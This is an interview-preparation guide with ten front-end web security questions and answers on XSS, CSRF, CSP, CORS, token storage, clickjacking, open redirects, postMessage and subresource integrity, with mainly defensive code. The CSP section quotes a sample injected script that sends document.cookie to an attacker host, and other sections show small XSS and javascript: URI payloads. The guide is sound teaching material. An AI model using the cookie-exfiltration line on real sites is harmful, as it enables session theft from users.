Front-End Security Interview Questions: 10 Questions with Clear Answers
In front-end technical interviews, web security separates junior developers from production-ready engineers. Beyond basic framework escaping, interviewers test your understanding of client-side attack vectors, browser security boundaries, and defense-in-depth strategies.
This guide covers 10 high-frequency front-end security interview questions for developers with 0–5 years of experience.
Question Index
| # | Question | Focus Area | Difficulty |
|---|---|---|---|
| 1 | XSS Types & React Automated Escaping | Stored, Reflected, DOM XSS mechanics | Junior-Mid |
| 2 | dangerouslySetInnerHTML & DOMPurify | Safe HTML injection, SVG sanitization | Junior-Mid |
| 3 | CSRF Attacks & SameSite Cookies | Cross-site mutation defense, anti-CSRF | Mid |
| 4 | Content Security Policy (CSP) & Nonces | Script execution restriction, CSP headers | Mid-Senior |
| 5 | Cross-Origin Resource Sharing (CORS) | Same-origin policy relaxation, preflights | Mid |
| 6 | Token Storage: localStorage vs HttpOnly | Token theft vectors, XSS vs CSRF | Mid |
| 7 | Clickjacking & CSP frame-ancestors | UI redressing defenses, iframe rules | Mid |
| 8 | Open Redirects & javascript: URIs | Dynamic link validation, protocol checks | Junior-Mid |
| 9 | Secure Messaging with postMessage | Origin verification, cross-window data | Mid |
| 10 | Subresource Integrity (SRI) | CDN tampering defense, hash checks | Mid-Senior |
Q1. What is Cross-Site Scripting (XSS), what are the differences between Stored, Reflected, and DOM-based XSS, and how does React protect against them?
Level: Junior-Mid
What the interviewer is checking: Understanding the core mechanism of client-side code execution attacks, distinguishing the three primary types of XSS, and explaining React's automated string escaping.
Short answer to say out loud
"XSS occurs when an attacker injects malicious scripts into pages viewed by other users. Stored XSS persists in a database, Reflected XSS reflects off server responses, and DOM XSS executes directly through client sinks like innerHTML. React escapes JSX string expressions by default, preventing standard HTML injection."
Detailed explanation
XSS enables attackers to execute arbitrary JavaScript in the victim's browser:
- Stored XSS: Injected script persists in a database and executes whenever users view the stored record.
- Reflected XSS: Script is reflected off the server response via request parameters without sanitization.
- DOM XSS: Client-side JavaScript reads untrusted data (like
location.hash) and writes directly into execution sinks (innerHTML,eval) without server interaction.
React automatically escapes variables rendered in JSX {value} as text nodes, neutralizing standard markup injection.
Example
export function SearchResults({ query }: { query: string }) {
// SAFE: React automatically escapes HTML entities inside JSX text
// If query is "<script>alert(1)</script>", it renders as visible plain text
return <h2>Results for: {query}</h2>;
}
Common mistakes
- Believing that React is 100% immune to XSS. React only escapes text nodes and attribute strings; it does not protect against
javascript:URLs inhrefprops or manual DOM manipulation. - Confusing DOM-based XSS with Reflected XSS. DOM XSS never touches server response markup.
Likely follow-up questions
- Interviewer: "How can XSS still occur in a React application?"
- Answer: "XSS can still occur through
dangerouslySetInnerHTML, dynamically settinghrefto ajavascript:pseudo-protocol URL, or directly interacting with third-party DOM libraries via refs without sanitization."
Q2. How does dangerouslySetInnerHTML introduce vulnerabilities, and how do you properly sanitize untrusted HTML with DOMPurify?
Level: Junior-Mid
What the interviewer is checking: Understanding how bypassing React's escaping mechanism creates injection vectors, and knowing how to sanitize rich text using DOMPurify.
Short answer to say out loud
"dangerouslySetInnerHTML bypasses React's string escaping to render raw HTML. If untrusted content is inserted, attackers can execute scripts via event attributes (onerror) or SVGs. Always sanitize HTML strings using DOMPurify before injecting them."
Detailed explanation
Rendering rich text via dangerouslySetInnerHTML={{ __html: rawHtml }} bypasses React's escaping. If input contains un-sanitized content, attackers can execute scripts via event attributes (<img onerror=... />), script tags, or SVGs.
DOMPurify parses markup in memory, strips executable tags and attributes, and outputs clean HTML strings, protecting against regex filter bypasses.
Example
import DOMPurify from 'dompurify';
interface RichTextProps {
untrustedHtml: string;
}
export function SafeRichText({ untrustedHtml }: RichTextProps) {
// Sanitize the HTML string to strip malicious tags and event handlers
const cleanHtml = DOMPurify.sanitize(untrustedHtml, {
USE_PROFILES: { html: true }, // Allow standard HTML, strip SVG scripts
});
return (
<div
className="rich-text-content"
dangerouslySetInnerHTML={{ __html: cleanHtml }}
/>
);
}
Common mistakes
- Attempting to sanitize HTML using regular expressions (regex). Parsing and sanitizing arbitrary HTML with regex is easily bypassed by malformed tags and character encodings.
- Failing to sanitize server-rendered markup (SSR) using
DOMPurifywithjsdom.
Likely follow-up questions
- Interviewer: "Can SVG images contain XSS payloads when rendered via
dangerouslySetInnerHTML?" - Answer: "Yes. SVGs are valid XML documents that support
<script>elements and event attributes likeonload. DOMPurify by default sanitizes SVGs or allows disabling them via configuration profiles."
Q3. What is Cross-Site Request Forgery (CSRF), how do SameSite cookie attributes work, and what are the best defense strategies?
Level: Mid
What the interviewer is checking: Understanding cross-site state-changing request forgery, modern cookie protection policies, and multi-layered defense (SameSite + Anti-CSRF tokens).
Short answer to say out loud
"CSRF tricks an authenticated browser into submitting unauthorized requests with ambient session cookies. Mitigate it using SameSite=Lax/Strict cookie attributes, anti-CSRF synchronizer tokens, and custom request headers that trigger CORS preflights on cross-origin requests."
Detailed explanation
In CSRF attacks, a malicious site tricks an authenticated user's browser into submitting state-changing requests to an application where session cookies are automatically attached.
Defenses:
SameSite=Lax/Strict: Withholds cookies on cross-site subrequests and forms, preventing ambient credential use.- Anti-CSRF Tokens: Cryptographic synchronizer tokens validated on mutating requests.
- Custom Request Headers: Modern SPAs require
Content-Type: application/jsonor custom headers, triggering CORS preflights that unauthorized cross-origin sites cannot forge.
Example
// Setting secure session cookie on backend:
// Set-Cookie: sessionId=xyz123; Secure; HttpOnly; SameSite=Lax; Path=/
// Client-side: Sending anti-CSRF token in headers for mutating requests
async function updateAccount(payload) {
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content');
return fetch('/api/account', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken || '',
},
body: JSON.stringify(payload),
});
}
Common mistakes
- Relying solely on
SameSite=Laxwithout understanding that GET requests that inadvertently mutate state (e.g./api/delete?id=5) remain vulnerable on top-level navigation. - Assuming CORS protects against CSRF. CORS blocks the attacker from reading the response, but does not prevent the browser from dispatching the state-changing mutation.
Likely follow-up questions
- Interviewer: "Why doesn't CORS prevent CSRF attacks submitted via HTML form tags?"
- Answer: "Standard HTML
<form>submissions are 'simple requests' that predate CORS. The browser dispatches the POST request immediately with cookies, executing the server action before any CORS check occurs."
Q4. What is a Content Security Policy (CSP), what are its core directives, and how do cryptographic nonces eliminate 'unsafe-inline'?
Level: Mid-Senior
What the interviewer is checking: Understanding how CSP provides defense-in-depth against XSS and data exfiltration, and how modern nonce-based CSP works without 'unsafe-inline'.
Short answer to say out loud
"Content Security Policy (CSP) restricts executable script sources, connections, and framing via HTTP headers. Strict CSP uses cryptographic per-request nonces (script-src 'nonce-...'), allowing only approved scripts to run and eliminating dangerous 'unsafe-inline'."
Detailed explanation
CSP provides defense-in-depth if an application suffers an XSS injection. Core directives:
default-src 'self': Fallback origin constraint.script-src: Restricts script execution sources.connect-src: Limits domains callable viafetchor WebSocket.frame-ancestors: Controls framing permissions.
Strict nonce-based CSP (script-src 'nonce-{RANDOM}' 'strict-dynamic') generates a unique cryptographic nonce per HTTP request. The browser executes only scripts matching <script nonce='...'>, blocking injected scripts without relying on brittle domain whitelists.
Example
Content-Security-Policy: default-src 'self'; script-src 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none';
<!-- Trusted script executes because nonce matches header -->
<script nonce="rAnd0m123">
window.APP_CONFIG = { apiHost: "https://api.example.com" };
</script>
<!-- Injected attacker script is blocked by browser CSP -->
<script>
fetch('https://evil.com/steal?c=' + document.cookie);
</script>
Common mistakes
- Using
'unsafe-inline'inscript-srcto make analytics or inline scripts work, completely neutralizing XSS protection. - Reusing the same static nonce across multiple HTTP requests instead of generating a cryptographically secure random value per request.
Likely follow-up questions
- Interviewer: "What does the
strict-dynamicdirective do in a CSP header?" - Answer: "
strict-dynamicallows an already-trusted script (loaded via nonce) to programmatically create and load additional downstream scripts viadocument.createElement('script')without needing separate nonces."
Q5. How does Cross-Origin Resource Sharing (CORS) work, what triggers preflight OPTIONS requests, and why is CORS not a front-end security mechanism against data theft?
Level: Mid
What the interviewer is checking: Understanding the Same-Origin Policy (SOP), CORS headers, preflight conditions, and clarifying that CORS protects servers, not client data.
Short answer to say out loud
"CORS relaxes the browser's Same-Origin Policy via response headers (Access-Control-Allow-Origin), allowing client scripts to read cross-origin data. Non-simple requests trigger preflight OPTIONS calls. CORS controls browser access to backend servers; it does not protect client secrets from scrapers."
Detailed explanation
Under the Same-Origin Policy (SOP), browsers restrict scripts on one origin from reading resources from another. CORS provides HTTP headers (Access-Control-Allow-Origin) that allow servers to explicitly permit cross-origin reads.
Preflight OPTIONS requests are dispatched before non-simple requests (using PUT/DELETE or custom headers like Authorization). CORS protects backend servers from unauthorized browser client reads; it does not protect front-end code from scrapers or non-browser clients.
Example
// Non-simple PUT request triggers browser preflight OPTIONS
fetch('https://api.company.com/v1/profile', {
method: 'PUT',
headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer token' },
body: JSON.stringify({ name: 'Jordan' })
});
// Server response must include:
// Access-Control-Allow-Origin: https://dashboard.company.com
// Access-Control-Allow-Methods: GET, PUT, POST, DELETE
// Access-Control-Allow-Headers: Authorization, Content-Type
Common mistakes
- Believing CORS prevents an attacker from fetching data using cURL or Postman. CORS is an instruction enforced exclusively by web browsers.
- Misconfiguring
Access-Control-Allow-Origin: *when using credentials (withCredentials: true). Browsers reject wildcards when credentials mode is enabled.
Likely follow-up questions
- Interviewer: "Can a server respond with wildcard
*ifcredentials: 'include'is set on the fetch request?" - Answer: "No. The browser will reject the response with a CORS error. When credentials are included,
Access-Control-Allow-Originmust specify the exact requesting origin and returnAccess-Control-Allow-Credentials: true."
Q6. Where should authentication tokens (JWTs) be stored in a front-end single-page application: localStorage, in-memory, or HttpOnly cookies?
Level: Mid
What the interviewer is checking: Comprehensive evaluation of token storage trade-offs, attack surface analysis (XSS vs CSRF), and modern token architecture patterns.
Short answer to say out loud
"localStorage exposes tokens to instant theft via XSS. HttpOnly cookies prevent JavaScript access, eliminating XSS token theft, but require CSRF defenses. The recommended pattern stores refresh tokens in HttpOnly, SameSite=Strict cookies and keeps short-lived access tokens in memory."
Detailed explanation
Token storage trade-offs:
localStorage: Easily accessible to JavaScript; any XSS flaw allows instant token theft.HttpOnlyCookies: Inaccessible to JavaScript viadocument.cookie, preventing XSS theft, but requires CSRF protections.- Recommended Hybrid: Store long-lived refresh tokens in
HttpOnly,Secure,SameSite=Strictcookies scoped to auth endpoints. Keep short-lived access tokens (5–15 min) in JavaScript memory, minimizing exposure to both XSS and CSRF.
Example
// In-memory access token storage (protected from storage XSS)
let inMemoryAccessToken: string | null = null;
export const setAccessToken = (token: string) => { inMemoryAccessToken = token; };
export const getAccessToken = () => inMemoryAccessToken;
export async function refreshAccessToken(): Promise<string | null> {
// HttpOnly refresh cookie is sent automatically by the browser
const res = await fetch('/api/auth/refresh', { method: 'POST', credentials: 'include' });
if (!res.ok) return null;
const { accessToken } = await res.json();
setAccessToken(accessToken);
return accessToken;
}
Common mistakes
- Storing sensitive authentication tokens or user credentials in
localStorageunder the belief that "our app has no XSS bugs." - Storing access tokens in standard cookies without setting the
HttpOnlyandSecureflags.
Likely follow-up questions
- Interviewer: "What happens to in-memory access tokens when the user refreshes or closes the browser tab?"
- Answer: "The in-memory token is cleared upon page reload. The application initialization flow immediately calls the refresh endpoint with the
HttpOnlycookie to obtain a fresh access token without requiring re-authentication."
Q7. What is Clickjacking, how does UI redressing work, and how do you defend web applications using X-Frame-Options and CSP frame-ancestors?
Level: Mid
What the interviewer is checking: Understanding framing attacks, transparent overlay mechanics, and configuring modern framing restriction headers.
Short answer to say out loud
"Clickjacking overlays an invisible iframe of a target site over an enticing UI, tricking authenticated users into clicking sensitive actions. Defend against it using Content-Security-Policy: frame-ancestors 'none' (or 'self') and legacy X-Frame-Options: DENY."
Detailed explanation
Clickjacking embeds a target site in an invisible iframe (opacity: 0) layered over an enticing UI control, tricking users into clicking authenticated actions.
Defenses:
Content-Security-Policy: frame-ancestors 'none'/'self': Modern standard restricting which origins can embed the page.X-Frame-Options: DENY/SAMEORIGIN: Legacy fallback header for older browser clients.
Example
# Modern anti-clickjacking HTTP headers
Content-Security-Policy: frame-ancestors 'self';
X-Frame-Options: SAMEORIGIN
Common mistakes
- Relying on legacy JavaScript "frame-busting" scripts (like
if (top !== self) top.location = self.location;). Attackers can disable frame-busting scripts by setting thesandboxattribute on the iframe (sandbox="allow-forms allow-scripts"withoutallow-top-navigation). - Forgetting that
X-Frame-Optionsdoes not support multiple domain whitelisting, whereas CSPframe-ancestorsdoes.
Likely follow-up questions
- Interviewer: "How does the HTML5 iframe
sandboxattribute enhance security when you must embed third-party content?" - Answer: "The
sandboxattribute restricts the embedded frame by disabling scripts, forms, popups, top navigation, and same-origin cookies unless explicitly granted via tokens likesandbox='allow-scripts'."
Q8. What are Open Redirect vulnerabilities and javascript: URI injection attacks, and how do you sanitize dynamic URLs before rendering them in href?
Level: Junior-Mid
What the interviewer is checking: Understanding how dynamic URLs can lead to phishing (open redirects) or arbitrary JavaScript execution (javascript: pseudo-protocol) in JSX href attributes.
Short answer to say out loud
"Open redirects navigate users to malicious phishing domains via unvalidated parameters. Unsanitized href={userUrl} attributes also allow script execution via javascript: URIs. Prevent both by validating URLs with new URL() and whitelisting http: and https: protocols."
Detailed explanation
Dynamic URLs introduce two critical vulnerabilities:
javascript:URIs: Passinghref={untrustedUrl}allows executing scripts upon click if the URL begins withjavascript:. React does not sanitizehrefattributes automatically.- Open Redirects: Unvalidated redirect parameters navigate users to external phishing domains.
Always validate URLs using new URL(str) and verify that url.protocol strictly equals http: or https: before rendering.
Example
export function SafeLink({ href, label }: { href: string; label: string }) {
const isSafe = (url: string): boolean => {
try {
const parsed = new URL(url, window.location.origin);
return parsed.protocol === 'http:' || parsed.protocol === 'https:';
} catch {
return false;
}
};
return (
<a href={isSafe(href) ? href : '#'} rel="noopener noreferrer" target="_blank">
{label}
</a>
);
}
Common mistakes
- Relying on naive string matching like
url.startsWith('http')which can be bypassed withjavascript:alert('http')orhttp://evil.com. - Forgetting
rel="noopener noreferrer"ontarget="_blank"links in older browsers, which allows the target page to accesswindow.openerand redirect the parent tab.
Likely follow-up questions
- Interviewer: "Why is
rel='noopener'important when opening links in a new tab (target='_blank')?" - Answer: "Without
noopener, the opened page gets a reference towindow.openerof the originating window, allowing it to navigate the parent page to a phishing URL viawindow.opener.location = 'phishing.com'."
Q9. How do you securely communicate across origins using window.postMessage, and why is omitting origin verification a critical vulnerability?
Level: Mid
What the interviewer is checking: Knowledge of cross-origin frame messaging, sender targetOrigin specification, and listener event.origin validation.
Short answer to say out loud
"Cross-window messaging requires two safeguards: senders must specify the exact recipient origin in targetOrigin rather than '*', and receivers must verify event.origin === TRUSTED_ORIGIN before processing event.data."
Detailed explanation
window.postMessage enables cross-window communication between iframes and popups:
- Sender Risk: Using
targetOrigin = '*'leaks sensitive payloads if the recipient frame navigates to an untrusted domain. Always specify the exact expected origin. - Receiver Risk: Omitting
if (event.origin !== TRUSTED_ORIGIN)allows any external domain to post forged payloads into your message listener.
Example
const TRUSTED_ORIGIN = 'https://checkout.partner.com';
// Secure receiver: verify origin before processing data
window.addEventListener('message', (e: MessageEvent) => {
if (e.origin !== TRUSTED_ORIGIN) return;
if (e.data?.type === 'PAYMENT_SUCCESS') console.log('Verified:', e.data.id);
});
// Secure sender: target specific origin
export const sendOrder = (win: Window, id: string) => {
win.postMessage({ type: 'ORDER_CONFIRMED', id }, TRUSTED_ORIGIN);
};
Common mistakes
- Using
event.origin.includes('trusted.com')instead of strict equality===. An attacker can registerhttps://trusted.com.evil.orgto bypass.includes(). - Parsing
event.datawitheval()or injecting it intoinnerHTML.
Likely follow-up questions
- Interviewer: "What if the trusted origin includes subdomains like
https://*.company.com?" - Answer: "Use the
URLconstructor to parseevent.originand validate the hostname with a strict regex that anchors to the root domain:/^[a-z0-9-]+\\.company\\.com$/i."
Q10. What is Subresource Integrity (SRI), and how does it protect front-end applications against CDN compromise and third-party script supply chain attacks?
Level: Mid-Senior
What the interviewer is checking: Understanding web supply chain security, cryptographic hash verification for third-party scripts, and CDN poisoning defenses.
Short answer to say out loud
"Subresource Integrity (SRI) allows browsers to verify that third-party CDN scripts have not been tampered with. By supplying cryptographic hashes in integrity='sha384-...' with crossorigin='anonymous', the browser blocks execution if a modified script is served."
Detailed explanation
Loading scripts from third-party CDNs exposes applications to supply chain tampering if the CDN is compromised.
Subresource Integrity (SRI) uses integrity="sha384-{HASH}" and crossorigin="anonymous". The browser hashes the downloaded file and compares it to the digest before execution; any altered byte causes the browser to block the script immediately.
Example
<!-- Secure third-party CDN script inclusion with SRI -->
<script
src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.21/lodash.min.js"
integrity="sha512-WFN04846sdKMGo8UNF4U6fZEXyoUJx62Sm+drXD+epdrGbl4lLayZYc32Va87IE1QX375PEZVavn277qLnVO5w=="
crossorigin="anonymous"
></script>
<!-- Secure stylesheet inclusion with SRI -->
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM"
crossorigin="anonymous"
/>
Common mistakes
- Omitting
crossorigin="anonymous". For CORS-enabled cross-origin scripts, browsers require CORS credentials mode to enforce SRI; omittingcrossorigindisables SRI checking. - Using SRI on dynamic resources that change content without changing URLs (like tracking scripts that update daily), which causes the application to break when the remote script updates.
Likely follow-up questions
- Interviewer: "How can you provide a local fallback if an SRI-protected CDN resource is blocked or fails?"
- Answer: "Attach an
onerrorhandler to the script tag to detect the failure and dynamically inject a local self-hosted fallback script:<script src='cdn-url' integrity='...' onerror='loadFallbackScript()'></script>."
Preparation Checklist
Review this actionable preparation checklist before your interview:
- Classify 3 XSS vectors: Differentiate Stored, Reflected, and DOM XSS mechanisms.
- Sanitize raw HTML: Use DOMPurify before rendering via
dangerouslySetInnerHTML. - Mitigate CSRF: Enforce
SameSite=Lax/Strictcookies and custom request headers. - Configure strict CSP: Understand
script-srcnonces andframe-ancestors. - Explain CORS accurately: Recognize that CORS relaxes SOP for browsers, not servers.
- Architect token storage: Combine in-memory access tokens with
HttpOnlyrefresh cookies. - Validate dynamic links: Check
url.protocolagainsthttp:andhttps:to blockjavascript:URIs. - Verify postMessage origins: Require strict
event.origin === TRUSTED_ORIGINchecks. - Guard CDNs with SRI: Apply cryptographic
integrityhashes to external scripts.
Conclusion
Front-end security is a critical competency that demonstrates production engineering maturity. By mastering defense-in-depth principles—from XSS escaping and DOMPurify sanitization to strict Content Security Policies and token architecture—you prove to interviewers that you can build client-side systems that protect user data against modern web vulnerabilities.